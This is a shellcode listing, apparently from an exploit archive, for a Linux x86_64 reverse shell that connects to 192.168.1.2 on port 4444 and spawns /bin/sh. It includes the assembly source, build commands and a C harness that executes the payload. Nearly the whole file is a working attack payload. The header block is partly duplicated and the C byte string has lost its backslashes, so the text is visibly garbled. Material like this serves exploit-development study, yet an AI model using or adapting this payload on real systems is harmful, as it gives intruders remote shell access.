/*
;Title: Linux/x86_64 - Reverse Shell Shellcode (192.168.1.2:4444)
;Author: Touhid M.Shaikh
;Contact: https://github.com/touhidshaikh
;Category: Shellcode
;Architecture: /*
;Title: Linux/x86_64 - Reverse Shell Shellcode (192.168.1.2:4444)
;Author: Touhid M.Shaikh
;Contact: https://github.com/touhidshaikh
;Category: Shellcode
;Architecture: Linux x86_64
;Description: Reverse Shell, Run nc and listen port 4444.
;Shellcode Length: 153
;Tested on : Debian 4.9.30-2kali1 (2017-06-22) x86_64 GNU/Linux



===COMPILATION AND EXECUTION Assemmbly file===

#nasm -f elf64 shell.asm -o shell.o <=== Making Object File

#ld shell.o -o shell <=== Making Binary File

#./bin2shell.sh shell <== xtract hex code from the binary(
https://github.com/touhidshaikh/bin2shell)

=================SHELLCODE(INTEL FORMAT)=================

global _start


_start:
xor rax,rax
add rax, 41
xor rdi,rdi
mov rdx, rdi
add rdi, 2
xor rsi,rsi
add rsi, 1
syscall

mov rdi, rax

xor rax, rax
push rax
add rax,0x2
mov dword [rsp-4], 0x0201a8c0 : IP : 192.168.1.2, Change what u
want(Little Endian)
mov word [rsp-6], 0x5c11 ; PORT : 4444, Change what u
want(Little Endian)
mov word [rsp-8], ax
sub rsp, 8
add rax, 40
mov rsi, rsp
xor rdx,rdx
add rdx, 16
syscall
xor rax,rax
mov rsi, rax
add rax, 33
syscall
xor rax,rax
add rax, 33
xor rsi,rsi
add rsi, 1
syscall
xor rax, rax
add rax, 33
xor rsi,rsi
add rsi, 2
syscall
xor rax, rax
push rax
mov rbx, 0x68732f2f6e69622f
push rbx
mov rdi, rsp
push rax
mov rdx, rsp
push rdi
mov rsi, rsp
add rax, 59
syscall

===================END HERE============================

====================FOR C Compile===========================

Compile with gcc with some options.

# gcc -fno-stack-protector -z execstack shell-testing.c -o shell-testing

*/

#include<stdio.h>
#include<string.h>


unsigned char code[] =
"x48x31xc0x48x83xc0x29x48x31xffx48x89xfax48x83xc7x02x48x31xf6x48x83xc6x01x0fx05x48x89xc7x48x31xc0x50x48x83xc0x02xc7x44x24xfcxc0xa8x01x02x66xc7x44x24xfax11x5cx66x89x44x24xf8x48x83xecx08x48x83xc0x28x48x89xe6x48x31xd2x48x83xc2x10x0fx05x48x31xc0x48x89xc6x48x83xc0x21x0fx05x48x31xc0x48x83xc0x21x48x31xf6x48x83xc6x01x0fx05x48x31xc0x48x83xc0x21x48x31xf6x48x83xc6x02x0fx05x48x31xc0x50x48xbbx2fx62x69x6ex2fx2fx73x68x53x48x89xe7x50x48x89xe2x57x48x89xe6x48x83xc0x3bx0fx05";

main()
{

printf("Shellcode Length: %d ", (int)strlen(code));

int (*ret)() = (int(*)())code;

ret();

}